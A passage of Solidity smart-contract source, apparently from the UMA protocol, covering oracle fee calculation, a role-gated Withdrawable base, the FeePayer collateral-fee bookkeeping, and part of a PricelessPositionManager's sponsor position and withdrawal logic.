FixedPoint.Unsigned memory penaltyPercentagePerSecond =
weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK));
// Apply the penaltyPercentagePerSecond to the payment period.
latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond);
}
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due denominated in units of `currency`.
*/
function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) {
return finalFees[currency];
}
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Sets a new oracle fee per second.
* @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle.
*/
function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
// Oracle fees at or over 100% don't make sense.
require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second.");
fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc;
emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc);
}
/**
* @notice Sets a new weekly delay fee.
* @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment.
*/
function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%");
weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc;
emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc);
}
/**
* @notice Sets a new final fee for a particular currency.
* @param currency defines the token currency used to pay the final fee.
* @param newFinalFee final fee amount.
*/
function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee)
public
onlyRoleHolder(uint256(Roles.Owner))
{
finalFees[currency] = newFinalFee;
emit NewFinalFee(newFinalFee);
}
}
/**
* Withdrawable contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./MultiRole.sol";
/**
* @title Base contract that allows a specific role to withdraw any ETH and/or ERC20 tokens that the contract holds.
*/
abstract contract Withdrawable is MultiRole {
using SafeERC20 for IERC20;
uint256 private roleId;
/**
* @notice Withdraws ETH from the contract.
*/
function withdraw(uint256 amount) external onlyRoleHolder(roleId) {
Address.sendValue(msg.sender, amount);
}
/**
* @notice Withdraws ERC20 tokens from the contract.
* @param erc20Address ERC20 token to withdraw.
* @param amount amount of tokens to withdraw.
*/
function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) {
IERC20 erc20 = IERC20(erc20Address);
erc20.safeTransfer(msg.sender, amount);
}
/**
* @notice Internal method that allows derived contracts to create a role for withdrawal.
* @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function
* properly.
* @param newRoleId ID corresponding to role whose members can withdraw.
* @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership.
* @param withdrawerAddress new manager of withdrawable role.
*/
function _createWithdrawRole(
uint256 newRoleId,
uint256 managingRoleId,
address withdrawerAddress
) internal {
roleId = newRoleId;
_createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress);
}
/**
* @notice Internal method that allows derived contracts to choose the role for withdrawal.
* @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be
* called by the derived class for this contract to function properly.
* @param setRoleId ID corresponding to role whose members can withdraw.
*/
function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) {
roleId = setRoleId;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/interfaces/StoreInterface.sol";
import "../../oracle/interfaces/FinderInterface.sol";
import "../../oracle/interfaces/AdministrateeInterface.sol";
import "../../oracle/implementation/Constants.sol";
/**
* @title FeePayer contract.
* @notice Provides fee payment functionality for the ExpiringMultiParty contract.
* contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`.
*/
abstract contract FeePayer is AdministrateeInterface, Testable, Lockable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
/****************************************
* FEE PAYER DATA STRUCTURES *
****************************************/
// The collateral currency used to back the positions in this contract.
IERC20 public collateralCurrency;
// Finder contract used to look up addresses for UMA system contracts.
FinderInterface public finder;
// Tracks the last block time when the fees were paid.
uint256 private lastPaymentTime;
// Tracks the cumulative fees that have been paid by the contract for use by derived contracts.
// The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee).
// Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ...
// For example:
// The cumulativeFeeMultiplier should start at 1.
// If a 1% fee is charged, the multiplier should update to .99.
// If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801).
FixedPoint.Unsigned public cumulativeFeeMultiplier;
/****************************************
* EVENTS *
****************************************/
event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee);
event FinalFeesPaid(uint256 indexed amount);
/****************************************
* MODIFIERS *
****************************************/
// modifier that calls payRegularFees().
modifier fees virtual {
// Note: the regular fee is applied on every fee-accruing transaction, where the total change is simply the
// regular fee applied linearly since the last update. This implies that the compounding rate depends on the
// frequency of update transactions that have this modifier, and it never reaches the ideal of continuous
// compounding. This approximate-compounding pattern is common in the Ethereum ecosystem because of the
// complexity of compounding data on-chain.
payRegularFees();
_;
}
/**
* @notice Constructs the FeePayer contract. Called by child contracts.
* @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
collateralCurrency = IERC20(_collateralAddress);
finder = FinderInterface(_finderAddress);
lastPaymentTime = getCurrentTime();
cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1);
}
/****************************************
* FEE PAYMENT FUNCTIONS *
****************************************/
/**
* @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract.
* @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee
* in a week or more then a late penalty is applied which is sent to the caller. If the amount of
* fees owed are greater than the pfc, then this will pay as much as possible from the available collateral.
* An event is only fired if the fees charged are greater than 0.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
* This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
*/
function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory) {
uint256 time = getCurrentTime();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Fetch the regular fees, late penalty and the max possible to pay given the current collateral within the contract.
(
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
) = getOutstandingRegularFees(time);
lastPaymentTime = time;
// If there are no fees to pay then exit early.
if (totalPaid.isEqual(0)) {
return totalPaid;
}
emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue);
_adjustCumulativeFeeMultiplier(totalPaid, collateralPool);
if (regularFee.isGreaterThan(0)) {
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), regularFee);
}
if (latePenalty.isGreaterThan(0)) {
collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue);
}
return totalPaid;
}
/**
* @notice Fetch any regular fees that the contract has pending but has not yet paid. If the fees to be paid are more
* than the total collateral within the contract then the totalPaid returned is full contract collateral amount.
* @dev This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
* @return regularFee outstanding unpaid regular fee.
* @return latePenalty outstanding unpaid late fee for being late in previous fee payments.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
*/
function getOutstandingRegularFees(uint256 time)
public
view
returns (
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
)
{
StoreInterface store = _getStore();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Exit early if there is no collateral or if fees were already paid during this block.
if (collateralPool.isEqual(0) || lastPaymentTime == time) {
return (regularFee, latePenalty, totalPaid);
}
(regularFee, latePenalty) = store.computeRegularFee(lastPaymentTime, time, collateralPool);
totalPaid = regularFee.add(latePenalty);
if (totalPaid.isEqual(0)) {
return (regularFee, latePenalty, totalPaid);
}
// If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay
// as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the
// regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining.
if (totalPaid.isGreaterThan(collateralPool)) {
FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool);
FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit);
latePenalty = latePenalty.sub(latePenaltyReduction);
deficit = deficit.sub(latePenaltyReduction);
regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit));
totalPaid = collateralPool;
}
}
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _pfc();
}
/**
* @notice Removes excess collateral balance not counted in the PfC by distributing it out pro-rata to all sponsors.
* @dev Multiplying the `cumulativeFeeMultiplier` by the ratio of non-PfC-collateral :: PfC-collateral effectively
* pays all sponsors a pro-rata portion of the excess collateral.
* @dev This will revert if PfC is 0 and this contract's collateral balance > 0.
*/
function gulp() external nonReentrant() {
_gulp();
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee
// charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not
// the contract, pulls in `amount` of collateral currency.
function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal {
if (amount.isEqual(0)) {
return;
}
if (payer != address(this)) {
// If the payer is not the contract pull the collateral from the payer.
collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue);
} else {
// If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate.
FixedPoint.Unsigned memory collateralPool = _pfc();
// The final fee must be < available collateral or the fee will be larger than 100%.
// Note: revert reason removed to save bytecode.
require(collateralPool.isGreaterThan(amount));
_adjustCumulativeFeeMultiplier(amount, collateralPool);
}
emit FinalFeesPaid(amount.rawValue);
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), amount);
}
function _gulp() internal {
FixedPoint.Unsigned memory currentPfc = _pfc();
FixedPoint.Unsigned memory currentBalance = FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
if (currentPfc.isLessThan(currentBalance)) {
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(currentBalance.div(currentPfc));
}
}
function _pfc() internal view virtual returns (FixedPoint.Unsigned memory);
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) {
StoreInterface store = _getStore();
return store.computeFinalFee(address(collateralCurrency));
}
// Returns the user's collateral minus any fees that have been subtracted since it was originally
// deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw
// value should be larger than the returned value.
function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory collateral)
{
return rawCollateral.mul(cumulativeFeeMultiplier);
}
// Returns the user's collateral minus any pending fees that have yet to be subtracted.
function _getPendingRegularFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory)
{
(, , FixedPoint.Unsigned memory currentTotalOutstandingRegularFees) =
getOutstandingRegularFees(getCurrentTime());
if (currentTotalOutstandingRegularFees.isEqual(FixedPoint.fromUnscaledUint(0))) return rawCollateral;
// Calculate the total outstanding regular fee as a fraction of the total contract PFC.
FixedPoint.Unsigned memory effectiveOutstandingFee = currentTotalOutstandingRegularFees.divCeil(_pfc());
// Scale as rawCollateral* (1 - effectiveOutstandingFee) to apply the pro-rata amount to the regular fee.
return rawCollateral.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveOutstandingFee));
}
// Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees
// have been taken from this contract in the past, then the raw value will be larger than the user-readable value.
function _convertToRawCollateral(FixedPoint.Unsigned memory collateral)
internal
view
returns (FixedPoint.Unsigned memory rawCollateral)
{
return collateral.div(cumulativeFeeMultiplier);
}
// Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an
// actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is
// decreased by so that the caller can minimize error between collateral removed and rawCollateral debited.
function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove)
internal
returns (FixedPoint.Unsigned memory removedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove);
rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue;
removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral));
}
// Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an
// actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is
// increased by so that the caller can minimize error between collateral added and rawCollateral credited.
// NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it
// because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral.
function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd)
internal
returns (FixedPoint.Unsigned memory addedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd);
rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue;
addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance);
}
// Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral.
function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc)
internal
{
FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc);
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that all financial contracts expose to the admin.
*/
interface AdministrateeInterface {
/**
* @notice Initiates the shutdown process, in case of an emergency.
*/
function emergencyShutdown() external;
/**
* @notice A core contract method called independently or as a part of other financial contract transactions.
* @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract.
*/
function remargin() external;
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FeePayer.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PricelessPositionManager is FeePayer {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
using Address for address;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement.
enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived }
ContractState public contractState;
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
// Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`.
uint256 transferPositionRequestPassTimestamp;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs.
uint256 public expirationTimestamp;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// The expiry price pulled from the DVM.
FixedPoint.Unsigned public expiryPrice;
// Instance of FinancialProductLibrary to provide custom price and collateral requirement transformations to extend
// the functionality of the EMP to support a wider range of financial products.
FinancialProductLibrary public financialProductLibrary;
/****************************************
* EVENTS *
****************************************/
event RequestTransferPosition(address indexed oldSponsor);
event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor);
event RequestTransferPositionCanceled(address indexed oldSponsor);
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event ContractExpired(address indexed caller);
event SettleExpiredPosition(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyPreExpiration() {
_onlyPreExpiration();
_;
}
modifier onlyPostExpiration() {
_onlyPostExpiration();
_;
}
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
// Check that the current state of the pricelessPositionManager is Open.
// This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration.
modifier onlyOpenState() {
_onlyOpenState();
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PricelessPositionManager
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _expirationTimestamp unix timestamp of when the contract will expire.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
* @param _financialProductLibraryAddress Contract providing contract state transformations.
*/
constructor(
uint256 _expirationTimestamp,
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _timerAddress,
address _financialProductLibraryAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() {
require(_expirationTimestamp > getCurrentTime());
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
expirationTimestamp = _expirationTimestamp;
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
// Initialize the financialProductLibrary at the provided address.
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Requests to transfer ownership of the caller's current position to a new sponsor address.
* Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor.
* @dev The liveness length is the same as the withdrawal liveness.
*/
function requestTransferPosition() public onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp == 0);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.transferPositionRequestPassTimestamp = requestPassTime;
emit RequestTransferPosition(msg.sender);
}
/**
* @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting
* `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`.
* @dev Transferring positions can only occur if the recipient does not already have a position.
* @param newSponsorAddress is the address to which the position will be transferred.
*/
function transferPositionPassedRequest(address newSponsorAddress)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
require(
_getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual(
FixedPoint.fromUnscaledUint(0)
)
);
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.transferPositionRequestPassTimestamp != 0 &&
positionData.transferPositionRequestPassTimestamp <= getCurrentTime()
);
// Reset transfer request.
positionData.transferPositionRequestPassTimestamp = 0;
positions[newSponsorAddress] = positionData;
delete positions[msg.sender];
emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress);
emit NewSponsor(newSponsorAddress);
emit EndedSponsorPosition(msg.sender);
}
/**
* @notice Cancels a pending transfer position request.
*/
function cancelTransferPosition() external onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp != 0);
emit RequestTransferPositionCanceled(msg.sender);
// Reset withdrawal request.
positionData.transferPositionRequestPassTimestamp = 0;
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = requestPassTime;
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
onlyPreExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
